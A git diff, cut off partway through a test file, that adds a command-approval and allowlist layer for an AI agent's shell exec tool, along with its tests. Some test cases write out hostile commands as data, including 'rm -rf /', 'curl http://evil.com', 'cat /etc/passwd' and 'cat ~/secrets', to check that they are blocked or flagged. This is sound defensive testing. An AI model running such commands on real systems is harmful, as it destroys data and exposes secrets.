eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.54.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1(eslint-plugin-import@2.32.0)(eslint@9.39.2(jiti@2.6.1)))(eslint@9.39.2(jiti@2.6.1))
|
||||
eslint-module-utils: 2.12.1(@typescript-eslint/parser@8.54.0(eslint@9.39.2(jiti@2.6.1))(typescript@5.9.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.10.1)(eslint@9.39.2(jiti@2.6.1))
|
||||
hasown: 2.0.2
|
||||
is-core-module: 2.16.1
|
||||
is-glob: 4.0.3
|
||||
|
|
|
|||
|
|
@ -220,6 +220,11 @@ export class AsyncAgent {
|
|||
this.agent.reloadSystemPrompt();
|
||||
}
|
||||
|
||||
/** Ensure session messages are loaded from disk (idempotent) */
|
||||
async ensureInitialized(): Promise<void> {
|
||||
return this.agent.ensureInitialized();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all messages from the current session.
|
||||
*/
|
||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
*/
|
||||
|
||||
import type { ToolsConfig } from "../tools/policy.js";
|
||||
import type { ExecApprovalConfig } from "../tools/exec-approval-types.js";
|
||||
|
||||
/** Profile filename constants */
|
||||
export const PROFILE_FILES = {
|
||||
|
|
@ -39,6 +40,8 @@ export interface ProfileConfig {
|
|||
thinkingLevel?: string;
|
||||
/** Reasoning mode: off, on, stream */
|
||||
reasoningMode?: "off" | "on" | "stream" | undefined;
|
||||
/** Exec approval configuration (security level, ask mode, allowlist) */
|
||||
execApproval?: ExecApprovalConfig | undefined;
|
||||
}
|
||||
|
||||
/** Agent Profile configuration */
|
||||
|
|
|
|||
|
|
@ -353,34 +353,7 @@ export class Agent {
|
|||
}
|
||||
|
||||
async run(prompt: string): Promise<AgentRunResult> {
|
||||
if (!this.initialized) {
|
||||
await this.session.repairIfNeeded((msg) => console.error(msg));
|
||||
const restoredMessages = this.session.loadMessages();
|
||||
if (restoredMessages.length > 0) {
|
||||
if (this.debug) {
|
||||
console.error(`[debug] Restoring ${restoredMessages.length} messages from session`);
|
||||
for (const msg of restoredMessages) {
|
||||
const msgAny = msg as any;
|
||||
const content = Array.isArray(msgAny.content)
|
||||
? msgAny.content.map((c: any) => c.type || "text").join(", ")
|
||||
: typeof msgAny.content;
|
||||
console.error(`[debug] ${msg.role}: ${content}`);
|
||||
if (Array.isArray(msgAny.content)) {
|
||||
for (const block of msgAny.content) {
|
||||
if (block.type === "tool_use") {
|
||||
console.error(`[debug] tool_use id: ${block.id}, name: ${block.name}`);
|
||||
}
|
||||
if (block.type === "tool_result") {
|
||||
console.error(`[debug] tool_result tool_use_id: ${block.tool_use_id}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
this.agent.replaceMessages(restoredMessages);
|
||||
}
|
||||
this.initialized = true;
|
||||
}
|
||||
await this.ensureInitialized();
|
||||
this.output.state.lastAssistantText = "";
|
||||
|
||||
const canRotate = !this.pinnedProfile && this.profileCandidates.length > 1;
|
||||
|
|
@ -537,6 +510,17 @@ export class Agent {
|
|||
return this.agent.state.tools?.map(t => t.name) ?? [];
|
||||
}
|
||||
|
||||
/** Ensure session messages are loaded from disk (idempotent) */
|
||||
async ensureInitialized(): Promise<void> {
|
||||
if (this.initialized) return;
|
||||
await this.session.repairIfNeeded((msg) => console.error(msg));
|
||||
const restoredMessages = this.session.loadMessages();
|
||||
if (restoredMessages.length > 0) {
|
||||
this.agent.replaceMessages(restoredMessages);
|
||||
}
|
||||
this.initialized = true;
|
||||
}
|
||||
|
||||
/** Get all messages from the current session */
|
||||
getMessages(): AgentMessage[] {
|
||||
return this.agent.state.messages.slice();
|
||||
|
|
|
|||
|
|
@ -10,6 +10,7 @@ import { createSessionsSpawnTool } from "./tools/sessions-spawn.js";
|
|||
import { createMemorySearchTool } from "./tools/memory-search.js";
|
||||
import { filterTools } from "./tools/policy.js";
|
||||
import { isMulticaError, isRetryableError } from "../shared/errors.js";
|
||||
import type { ExecApprovalCallback } from "./tools/exec-approval-types.js";
|
||||
|
||||
// Re-export resolveModel from providers for backwards compatibility
|
||||
export { resolveModel } from "./providers/index.js";
|
||||
|
|
@ -23,6 +24,8 @@ export interface CreateToolsOptions {
|
|||
isSubagent?: boolean | undefined;
|
||||
/** Session ID of the agent (passed to sessions_spawn tool) */
|
||||
sessionId?: string | undefined;
|
||||
/** Callback invoked when exec tool needs approval before running a command */
|
||||
onExecApprovalNeeded?: ExecApprovalCallback | undefined;
|
||||
}
|
||||
|
||||
type ToolErrorPayload = {
|
||||
|
|
@ -98,7 +101,7 @@ export function createAllTools(options: CreateToolsOptions | string): AgentTool<
|
|||
(tool) => tool.name !== "bash",
|
||||
) as AgentTool<any>[];
|
||||
|
||||
const execTool = createExecTool(cwd);
|
||||
const execTool = createExecTool(cwd, opts.onExecApprovalNeeded);
|
||||
const processTool = createProcessTool(cwd);
|
||||
const globTool = createGlobTool(cwd);
|
||||
const webFetchTool = createWebFetchTool();
|
||||
|
|
@ -153,6 +156,7 @@ export function resolveTools(options: ResolveToolsOptions): AgentTool<any>[] {
|
|||
profileDir: options.profileDir,
|
||||
isSubagent: options.isSubagent,
|
||||
sessionId: options.sessionId,
|
||||
onExecApprovalNeeded: options.onExecApprovalNeeded,
|
||||
});
|
||||
|
||||
// Apply policy filtering
|
||||
|
|
|
|||
164
src/agent/tools/exec-allowlist.test.ts
Normal file
164
src/agent/tools/exec-allowlist.test.ts
Normal file
|
|
@ -0,0 +1,164 @@
|
|||
import { describe, it, expect } from "vitest";
|
||||
import {
|
||||
matchAllowlist,
|
||||
addAllowlistEntry,
|
||||
recordAllowlistUse,
|
||||
removeAllowlistEntry,
|
||||
normalizeAllowlist,
|
||||
} from "./exec-allowlist.js";
|
||||
import type { ExecAllowlistEntry } from "./exec-approval-types.js";
|
||||
|
||||
describe("matchAllowlist", () => {
|
||||
const entries: ExecAllowlistEntry[] = [
|
||||
{ id: "1", pattern: "git *" },
|
||||
{ id: "2", pattern: "pnpm test" },
|
||||
{ id: "3", pattern: "ls **" },
|
||||
{ id: "4", pattern: "node --version" },
|
||||
];
|
||||
|
||||
it("matches wildcard patterns", () => {
|
||||
expect(matchAllowlist(entries, "git status")).toBeTruthy();
|
||||
expect(matchAllowlist(entries, "git push origin main")).toBeNull(); // * doesn't match spaces
|
||||
expect(matchAllowlist(entries, "git log")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("matches exact patterns", () => {
|
||||
expect(matchAllowlist(entries, "pnpm test")).toBeTruthy();
|
||||
expect(matchAllowlist(entries, "node --version")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("matches double-star patterns", () => {
|
||||
expect(matchAllowlist(entries, "ls -la /tmp/some/path")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("is case-insensitive", () => {
|
||||
expect(matchAllowlist(entries, "GIT status")).toBeTruthy();
|
||||
expect(matchAllowlist(entries, "PNPM TEST")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("returns null for non-matching commands", () => {
|
||||
expect(matchAllowlist(entries, "rm -rf /")).toBeNull();
|
||||
expect(matchAllowlist(entries, "curl http://evil.com")).toBeNull();
|
||||
expect(matchAllowlist(entries, "pnpm build")).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null for empty inputs", () => {
|
||||
expect(matchAllowlist([], "git status")).toBeNull();
|
||||
expect(matchAllowlist(entries, "")).toBeNull();
|
||||
expect(matchAllowlist(entries, " ")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("addAllowlistEntry", () => {
|
||||
it("adds new entry with UUID", () => {
|
||||
const entries: ExecAllowlistEntry[] = [];
|
||||
const result = addAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]!.pattern).toBe("git *");
|
||||
expect(result[0]!.id).toBeTruthy();
|
||||
expect(result[0]!.lastUsedAt).toBeTruthy();
|
||||
});
|
||||
|
||||
it("deduplicates by pattern", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ id: "1", pattern: "git *" }];
|
||||
const result = addAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(1); // no new entry
|
||||
});
|
||||
|
||||
it("deduplicates case-insensitively", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ id: "1", pattern: "Git *" }];
|
||||
const result = addAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("trims pattern", () => {
|
||||
const entries: ExecAllowlistEntry[] = [];
|
||||
const result = addAllowlistEntry(entries, " git * ");
|
||||
expect(result[0]!.pattern).toBe("git *");
|
||||
});
|
||||
|
||||
it("preserves existing entries", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ id: "1", pattern: "ls *" }];
|
||||
const result = addAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(2);
|
||||
expect(result[0]!.pattern).toBe("ls *");
|
||||
});
|
||||
});
|
||||
|
||||
describe("recordAllowlistUse", () => {
|
||||
it("updates lastUsedAt and lastUsedCommand", () => {
|
||||
const entry: ExecAllowlistEntry = { id: "1", pattern: "git *" };
|
||||
const entries = [entry];
|
||||
const result = recordAllowlistUse(entries, entry, "git status");
|
||||
expect(result[0]!.lastUsedAt).toBeTruthy();
|
||||
expect(result[0]!.lastUsedCommand).toBe("git status");
|
||||
});
|
||||
|
||||
it("matches by ID", () => {
|
||||
const entries: ExecAllowlistEntry[] = [
|
||||
{ id: "1", pattern: "git *" },
|
||||
{ id: "2", pattern: "ls *" },
|
||||
];
|
||||
const result = recordAllowlistUse(entries, { id: "2", pattern: "ls *" }, "ls -la");
|
||||
expect(result[0]!.lastUsedCommand).toBeUndefined();
|
||||
expect(result[1]!.lastUsedCommand).toBe("ls -la");
|
||||
});
|
||||
|
||||
it("matches by pattern when no ID", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ pattern: "git *" }];
|
||||
const result = recordAllowlistUse(entries, { pattern: "git *" }, "git log");
|
||||
expect(result[0]!.lastUsedCommand).toBe("git log");
|
||||
});
|
||||
});
|
||||
|
||||
describe("removeAllowlistEntry", () => {
|
||||
it("removes by pattern", () => {
|
||||
const entries: ExecAllowlistEntry[] = [
|
||||
{ id: "1", pattern: "git *" },
|
||||
{ id: "2", pattern: "ls *" },
|
||||
];
|
||||
const result = removeAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]!.pattern).toBe("ls *");
|
||||
});
|
||||
|
||||
it("removes by ID", () => {
|
||||
const entries: ExecAllowlistEntry[] = [
|
||||
{ id: "1", pattern: "git *" },
|
||||
{ id: "2", pattern: "ls *" },
|
||||
];
|
||||
const result = removeAllowlistEntry(entries, "1");
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]!.id).toBe("2");
|
||||
});
|
||||
|
||||
it("is case-insensitive for patterns", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ id: "1", pattern: "Git *" }];
|
||||
const result = removeAllowlistEntry(entries, "git *");
|
||||
expect(result).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("normalizeAllowlist", () => {
|
||||
it("assigns IDs to entries without them", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ pattern: "git *" }];
|
||||
const result = normalizeAllowlist(entries);
|
||||
expect(result[0]!.id).toBeTruthy();
|
||||
});
|
||||
|
||||
it("preserves existing IDs", () => {
|
||||
const entries: ExecAllowlistEntry[] = [{ id: "my-id", pattern: "git *" }];
|
||||
const result = normalizeAllowlist(entries);
|
||||
expect(result[0]!.id).toBe("my-id");
|
||||
});
|
||||
|
||||
it("deduplicates by pattern", () => {
|
||||
const entries: ExecAllowlistEntry[] = [
|
||||
{ id: "1", pattern: "git *" },
|
||||
{ id: "2", pattern: "Git *" }, // duplicate (case-insensitive)
|
||||
];
|
||||
const result = normalizeAllowlist(entries);
|
||||
expect(result).toHaveLength(1);
|
||||
expect(result[0]!.id).toBe("1"); // first one wins
|
||||
});
|
||||
});
|
||||
165
src/agent/tools/exec-allowlist.ts
Normal file
165
src/agent/tools/exec-allowlist.ts
Normal file
|
|
@ -0,0 +1,165 @@
|
|||
/**
|
||||
* Exec Allowlist — Persistent command pattern matching and management
|
||||
*
|
||||
* Allowlist entries use glob-like patterns to match against commands.
|
||||
* Patterns are matched against the full command string or binary name.
|
||||
*/
|
||||
|
||||
import { v7 as uuidv7 } from "uuid";
|
||||
import type { ExecAllowlistEntry } from "./exec-approval-types.js";
|
||||
|
||||
/**
|
||||
* Match a command against allowlist entries.
|
||||
* Returns the first matching entry, or null if no match.
|
||||
*
|
||||
* Matching rules:
|
||||
* - Patterns are case-insensitive
|
||||
* - "*" matches any sequence of non-space characters (within a segment)
|
||||
* - "**" matches any sequence (including spaces)
|
||||
* - Exact match on the full command or command prefix
|
||||
* - Pattern "git *" matches "git status", "git log", etc.
|
||||
*/
|
||||
export function matchAllowlist(
|
||||
entries: ExecAllowlistEntry[],
|
||||
command: string,
|
||||
): ExecAllowlistEntry | null {
|
||||
const normalizedCommand = command.trim().toLowerCase();
|
||||
if (!normalizedCommand) return null;
|
||||
|
||||
for (const entry of entries) {
|
||||
if (matchPattern(entry.pattern, normalizedCommand)) {
|
||||
return entry;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Match a glob-like pattern against a command string.
|
||||
*/
|
||||
function matchPattern(pattern: string, command: string): boolean {
|
||||
const normalizedPattern = pattern.trim().toLowerCase();
|
||||
if (!normalizedPattern) return false;
|
||||
|
||||
// Convert glob pattern to regex
|
||||
let regexStr = "^";
|
||||
let i = 0;
|
||||
while (i < normalizedPattern.length) {
|
||||
const ch = normalizedPattern[i]!;
|
||||
|
||||
if (ch === "*") {
|
||||
if (normalizedPattern[i + 1] === "*") {
|
||||
// ** matches anything (including spaces)
|
||||
regexStr += ".*";
|
||||
i += 2;
|
||||
} else {
|
||||
// * matches non-space characters
|
||||
regexStr += "[^\\s]*";
|
||||
i += 1;
|
||||
}
|
||||
} else if (ch === "?") {
|
||||
regexStr += "[^\\s]";
|
||||
i += 1;
|
||||
} else {
|
||||
// Escape regex special characters
|
||||
regexStr += ch.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
regexStr += "$";
|
||||
|
||||
try {
|
||||
return new RegExp(regexStr).test(command);
|
||||
} catch {
|
||||
// Fallback to exact match if regex is invalid
|
||||
return normalizedPattern === command;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add an entry to the allowlist.
|
||||
* Deduplicates by pattern (case-insensitive).
|
||||
* Returns the updated entries array.
|
||||
*/
|
||||
export function addAllowlistEntry(
|
||||
entries: ExecAllowlistEntry[],
|
||||
pattern: string,
|
||||
): ExecAllowlistEntry[] {
|
||||
const normalizedPattern = pattern.trim().toLowerCase();
|
||||
|
||||
// Check for duplicate
|
||||
const existing = entries.find(
|
||||
(e) => e.pattern.trim().toLowerCase() === normalizedPattern,
|
||||
);
|
||||
if (existing) return entries;
|
||||
|
||||
const newEntry: ExecAllowlistEntry = {
|
||||
id: uuidv7(),
|
||||
pattern: pattern.trim(),
|
||||
lastUsedAt: Date.now(),
|
||||
};
|
||||
|
||||
return [...entries, newEntry];
|
||||
}
|
||||
|
||||
/**
|
||||
* Record usage of an allowlist entry.
|
||||
* Updates lastUsedAt and lastUsedCommand.
|
||||
* Returns the updated entries array.
|
||||
*/
|
||||
export function recordAllowlistUse(
|
||||
entries: ExecAllowlistEntry[],
|
||||
entry: ExecAllowlistEntry,
|
||||
command: string,
|
||||
): ExecAllowlistEntry[] {
|
||||
return entries.map((e) => {
|
||||
if (e === entry || (e.id && e.id === entry.id) || e.pattern === entry.pattern) {
|
||||
return {
|
||||
...e,
|
||||
lastUsedAt: Date.now(),
|
||||
lastUsedCommand: command,
|
||||
};
|
||||
}
|
||||
return e;
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove an allowlist entry by pattern or ID.
|
||||
* Returns the updated entries array.
|
||||
*/
|
||||
export function removeAllowlistEntry(
|
||||
entries: ExecAllowlistEntry[],
|
||||
patternOrId: string,
|
||||
): ExecAllowlistEntry[] {
|
||||
const normalized = patternOrId.trim().toLowerCase();
|
||||
return entries.filter(
|
||||
(e) =>
|
||||
e.pattern.trim().toLowerCase() !== normalized &&
|
||||
e.id !== patternOrId,
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalize allowlist entries: assign missing IDs, deduplicate.
|
||||
*/
|
||||
export function normalizeAllowlist(
|
||||
entries: ExecAllowlistEntry[],
|
||||
): ExecAllowlistEntry[] {
|
||||
const seen = new Set<string>();
|
||||
const result: ExecAllowlistEntry[] = [];
|
||||
|
||||
for (const entry of entries) {
|
||||
const key = entry.pattern.trim().toLowerCase();
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
|
||||
result.push({
|
||||
...entry,
|
||||
id: entry.id ?? uuidv7(),
|
||||
});
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
187
src/agent/tools/exec-approval-cli.ts
Normal file
187
src/agent/tools/exec-approval-cli.ts
Normal file
|
|
@ -0,0 +1,187 @@
|
|||
/**
|
||||
* CLI Terminal Approval — readline-based approval for CLI mode (no Hub/Gateway)
|
||||
*/
|
||||
|
||||
import readline from "readline";
|
||||
import type {
|
||||
ExecApprovalCallback,
|
||||
ExecApprovalConfig,
|
||||
ApprovalDecision,
|
||||
ApprovalResult,
|
||||
} from "./exec-approval-types.js";
|
||||
import { DEFAULT_APPROVAL_TIMEOUT_MS } from "./exec-approval-types.js";
|
||||
import { evaluateCommandSafety, requiresApproval } from "./exec-safety.js";
|
||||
import { matchAllowlist, addAllowlistEntry, recordAllowlistUse } from "./exec-allowlist.js";
|
||||
|
||||
/** ANSI color helpers */
|
||||
const red = (s: string) => `\x1b[31m${s}\x1b[0m`;
|
||||
const yellow = (s: string) => `\x1b[33m${s}\x1b[0m`;
|
||||
const green = (s: string) => `\x1b[32m${s}\x1b[0m`;
|
||||
const bold = (s: string) => `\x1b[1m${s}\x1b[0m`;
|
||||
const dim = (s: string) => `\x1b[2m${s}\x1b[0m`;
|
||||
|
||||
/** Risk level color mapping */
|
||||
function colorRisk(level: string): string {
|
||||
switch (level) {
|
||||
case "dangerous": return red(level);
|
||||
case "needs-review": return yellow(level);
|
||||
case "safe": return green(level);
|
||||
default: return level;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Callback for persisting allowlist changes.
|
||||
* The Hub mode uses ProfileManager; CLI callers provide their own persistence.
|
||||
*/
|
||||
export type AllowlistPersister = (updatedConfig: ExecApprovalConfig) => void;
|
||||
|
||||
/**
|
||||
* Create a CLI-based approval callback that prompts the user in the terminal.
|
||||
*
|
||||
* @param config - Exec approval configuration (security, ask, allowlist, etc.)
|
||||
* @param onConfigUpdate - Optional callback to persist config changes (e.g., allowlist updates)
|
||||
*/
|
||||
export function createCliApprovalCallback(
|
||||
config: ExecApprovalConfig,
|
||||
onConfigUpdate?: AllowlistPersister,
|
||||
): ExecApprovalCallback {
|
||||
// Mutable copy of config for runtime allowlist updates
|
||||
const runtimeConfig = { ...config, allowlist: [...(config.allowlist ?? [])] };
|
||||
|
||||
return async (command: string, cwd: string | undefined): Promise<ApprovalResult> => {
|
||||
const security = runtimeConfig.security ?? "allowlist";
|
||||
const ask = runtimeConfig.ask ?? "on-miss";
|
||||
const timeoutMs = runtimeConfig.timeoutMs ?? DEFAULT_APPROVAL_TIMEOUT_MS;
|
||||
|
||||
// Security: deny blocks everything
|
||||
if (security === "deny") {
|
||||
return { approved: false, decision: "deny" };
|
||||
}
|
||||
|
||||
// Security: full allows everything
|
||||
if (security === "full") {
|
||||
return { approved: true, decision: "allow-once" };
|
||||
}
|
||||
|
||||
// Evaluate safety
|
||||
const evaluation = evaluateCommandSafety(command, runtimeConfig);
|
||||
|
||||
// Check if approval is needed
|
||||
const needsApproval = requiresApproval({
|
||||
ask,
|
||||
security,
|
||||
analysisOk: evaluation.analysisOk,
|
||||
allowlistSatisfied: evaluation.allowlistSatisfied,
|
||||
});
|
||||
|
||||
if (!needsApproval) {
|
||||
// Auto-approved: record allowlist usage if it was an allowlist match
|
||||
if (evaluation.allowlistSatisfied) {
|
||||
const match = matchAllowlist(runtimeConfig.allowlist ?? [], command);
|
||||
if (match) {
|
||||
runtimeConfig.allowlist = recordAllowlistUse(runtimeConfig.allowlist ?? [], match, command);
|
||||
onConfigUpdate?.(runtimeConfig);
|
||||
}
|
||||
}
|
||||
return { approved: true, decision: "allow-once" };
|
||||
}
|
||||
|
||||
// Prompt user in terminal
|
||||
const decision = await promptTerminal(command, cwd, evaluation.riskLevel, evaluation.reasons, timeoutMs);
|
||||
|
||||
if (decision === "allow-always") {
|
||||
// Extract binary or full command as allowlist pattern
|
||||
const pattern = extractAllowlistPattern(command);
|
||||
runtimeConfig.allowlist = addAllowlistEntry(runtimeConfig.allowlist ?? [], pattern);
|
||||
onConfigUpdate?.(runtimeConfig);
|
||||
}
|
||||
|
||||
return {
|
||||
approved: decision !== "deny",
|
||||
decision,
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract an allowlist pattern from a command.
|
||||
* Uses the binary name + "**" for broad matching.
|
||||
*/
|
||||
function extractAllowlistPattern(command: string): string {
|
||||
const trimmed = command.trim();
|
||||
const binary = trimmed.split(/\s+/)[0];
|
||||
return binary ? `${binary} **` : trimmed;
|
||||
}
|
||||
|
||||
/**
|
||||
* Prompt the user for an approval decision via readline.
|
||||
*/
|
||||
function promptTerminal(
|
||||
command: string,
|
||||
cwd: string | undefined,
|
||||
riskLevel: string,
|
||||
reasons: string[],
|
||||
timeoutMs: number,
|
||||
): Promise<ApprovalDecision> {
|
||||
return new Promise((resolve) => {
|
||||
const rl = readline.createInterface({
|
||||
input: process.stdin,
|
||||
output: process.stderr, // Use stderr to avoid mixing with stdout piping
|
||||
});
|
||||
|
||||
let resolved = false;
|
||||
const cleanup = () => {
|
||||
if (resolved) return;
|
||||
resolved = true;
|
||||
rl.close();
|
||||
};
|
||||
|
||||
// Timeout: auto-deny
|
||||
const timer = setTimeout(() => {
|
||||
if (resolved) return;
|
||||
process.stderr.write(dim(`\n Approval timed out (${timeoutMs / 1000}s). Denying.\n\n`));
|
||||
cleanup();
|
||||
resolve("deny");
|
||||
}, timeoutMs);
|
||||
|
||||
// Display approval prompt
|
||||
process.stderr.write("\n");
|
||||
process.stderr.write(bold(" Exec approval required\n"));
|
||||
process.stderr.write(` ${dim("Command:")} ${command}\n`);
|
||||
if (cwd) process.stderr.write(` ${dim("CWD:")} ${cwd}\n`);
|
||||
process.stderr.write(` ${dim("Risk:")} ${colorRisk(riskLevel)}\n`);
|
||||
if (reasons.length > 0) {
|
||||
for (const reason of reasons) {
|
||||
process.stderr.write(` ${dim(" -")} ${reason}\n`);
|
||||
}
|
||||
}
|
||||
process.stderr.write("\n");
|
||||
|
||||
rl.question(
|
||||
` ${bold("[a]")}llow once / ${bold("[A]")}llow always / ${bold("[d]")}eny (default: deny): `,
|
||||
(answer) => {
|
||||
clearTimeout(timer);
|
||||
cleanup();
|
||||
|
||||
const trimmed = answer.trim();
|
||||
if (trimmed === "a" || trimmed === "allow-once") {
|
||||
resolve("allow-once");
|
||||
} else if (trimmed === "A" || trimmed === "allow-always") {
|
||||
resolve("allow-always");
|
||||
} else {
|
||||
resolve("deny");
|
||||
}
|
||||
},
|
||||
);
|
||||
|
||||
// Handle Ctrl+C gracefully
|
||||
rl.on("close", () => {
|
||||
clearTimeout(timer);
|
||||
if (!resolved) {
|
||||
resolved = true;
|
||||
resolve("deny");
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
102
src/agent/tools/exec-approval-types.ts
Normal file
102
src/agent/tools/exec-approval-types.ts
Normal file
|
|
@ -0,0 +1,102 @@
|
|||
/**
|
||||
* Exec Approval System — Type Definitions
|
||||
*
|
||||
* Human-in-the-loop command execution approval for the exec tool.
|
||||
* Inspired by OpenClaw's defense-in-depth design.
|
||||
*/
|
||||
|
||||
// ============ Security Policy ============
|
||||
|
||||
/** Security level for exec commands */
|
||||
export type ExecSecurity = "deny" | "allowlist" | "full";
|
||||
|
||||
/** Ask mode — when to request human approval */
|
||||
export type ExecAsk = "off" | "on-miss" | "always";
|
||||
|
||||
/** User decision for an approval request */
|
||||
export type ApprovalDecision = "allow-once" | "allow-always" | "deny";
|
||||
|
||||
// ============ Approval Request/Response ============
|
||||
|
||||
/** Approval request sent to client (via WebSocket) or shown in CLI */
|
||||
export interface ExecApprovalRequest {
|
||||
/** Unique approval ID (UUIDv7) */
|
||||
approvalId: string;
|
||||
/** Agent that initiated the command */
|
||||
agentId: string;
|
||||
/** Shell command to execute */
|
||||
command: string;
|
||||
/** Working directory */
|
||||
cwd?: string;
|
||||
/** Evaluated risk level */
|
||||
riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
/** Reasons for the risk assessment */
|
||||
riskReasons: string[];
|
||||
/** When this approval expires (ms since epoch) */
|
||||
expiresAtMs: number;
|
||||
}
|
||||
|
||||
/** Result returned after approval decision */
|
||||
export interface ApprovalResult {
|
||||
approved: boolean;
|
||||
decision: ApprovalDecision;
|
||||
}
|
||||
|
||||
// ============ Configuration ============
|
||||
|
||||
/** Exec approval configuration (stored in profile config) */
|
||||
export interface ExecApprovalConfig {
|
||||
/** Security level: "deny" blocks all, "allowlist" requires matching, "full" allows all */
|
||||
security?: ExecSecurity;
|
||||
/** Ask mode: "off" never asks, "on-miss" asks when allowlist misses, "always" always asks */
|
||||
ask?: ExecAsk;
|
||||
/** Timeout before auto-deny in milliseconds (default: 60_000) */
|
||||
timeoutMs?: number;
|
||||
/** Fallback security level on timeout (default: "deny" — fail-closed) */
|
||||
askFallback?: ExecSecurity;
|
||||
/** Persistent allowlist of approved command patterns */
|
||||
allowlist?: ExecAllowlistEntry[];
|
||||
}
|
||||
|
||||
/** Default timeout for approval requests (60 seconds) */
|
||||
export const DEFAULT_APPROVAL_TIMEOUT_MS = 60_000;
|
||||
|
||||
// ============ Allowlist ============
|
||||
|
||||
/** A single allowlist entry */
|
||||
export interface ExecAllowlistEntry {
|
||||
/** Unique entry ID (auto-generated UUID) */
|
||||
id?: string;
|
||||
/** Glob pattern to match against command binary or full command */
|
||||
pattern: string;
|
||||
/** Last time this entry was used (ms since epoch) */
|
||||
lastUsedAt?: number;
|
||||
/** Last command that matched this entry */
|
||||
lastUsedCommand?: string;
|
||||
}
|
||||
|
||||
// ============ Callback ============
|
||||
|
||||
/**
|
||||
* Callback injected into the exec tool for approval flow.
|
||||
* Abstracts the communication channel (Hub WebSocket vs CLI readline).
|
||||
* Returns a promise that resolves when the user makes a decision.
|
||||
*/
|
||||
export type ExecApprovalCallback = (
|
||||
command: string,
|
||||
cwd: string | undefined,
|
||||
) => Promise<ApprovalResult>;
|
||||
|
||||
// ============ Safety Evaluation ============
|
||||
|
||||
/** Result of command safety evaluation */
|
||||
export interface SafetyEvaluation {
|
||||
/** Overall risk level */
|
||||
riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
/** Reasons explaining the risk assessment */
|
||||
reasons: string[];
|
||||
/** Whether shell syntax analysis passed */
|
||||
analysisOk: boolean;
|
||||
/** Whether the command matched the allowlist */
|
||||
allowlistSatisfied: boolean;
|
||||
}
|
||||
287
src/agent/tools/exec-safety.test.ts
Normal file
287
src/agent/tools/exec-safety.test.ts
Normal file
|
|
@ -0,0 +1,287 @@
|
|||
import { describe, it, expect } from "vitest";
|
||||
import {
|
||||
evaluateCommandSafety,
|
||||
requiresApproval,
|
||||
minSecurity,
|
||||
maxAsk,
|
||||
extractBinaryName,
|
||||
hasFilePathArgs,
|
||||
isSafeBinUsage,
|
||||
analyzeShellSyntax,
|
||||
detectDangerousPatterns,
|
||||
DEFAULT_SAFE_BINS,
|
||||
} from "./exec-safety.js";
|
||||
|
||||
describe("extractBinaryName", () => {
|
||||
it("extracts simple binary names", () => {
|
||||
expect(extractBinaryName("ls")).toBe("ls");
|
||||
expect(extractBinaryName("git status")).toBe("git");
|
||||
expect(extractBinaryName(" node --version ")).toBe("node");
|
||||
});
|
||||
|
||||
it("extracts binary from absolute path", () => {
|
||||
expect(extractBinaryName("/usr/bin/git status")).toBe("git");
|
||||
expect(extractBinaryName("/usr/local/bin/node")).toBe("node");
|
||||
});
|
||||
|
||||
it("handles env prefix", () => {
|
||||
expect(extractBinaryName("env FOO=bar git status")).toBe("git");
|
||||
expect(extractBinaryName("env NODE_ENV=test node app.js")).toBe("node");
|
||||
});
|
||||
|
||||
it("extracts first command in pipe", () => {
|
||||
expect(extractBinaryName("grep pattern | head -5")).toBe("grep");
|
||||
expect(extractBinaryName("cat | sort | uniq")).toBe("cat");
|
||||
});
|
||||
|
||||
it("returns null for empty command", () => {
|
||||
expect(extractBinaryName("")).toBeNull();
|
||||
expect(extractBinaryName(" ")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("hasFilePathArgs", () => {
|
||||
it("detects absolute paths", () => {
|
||||
expect(hasFilePathArgs("cat /etc/passwd")).toBe(true);
|
||||
expect(hasFilePathArgs("rm /tmp/file")).toBe(true);
|
||||
});
|
||||
|
||||
it("detects relative paths", () => {
|
||||
expect(hasFilePathArgs("cat ./file")).toBe(true);
|
||||
expect(hasFilePathArgs("rm ../other/file")).toBe(true);
|
||||
});
|
||||
|
||||
it("detects home paths", () => {
|
||||
expect(hasFilePathArgs("cat ~/secrets")).toBe(true);
|
||||
});
|
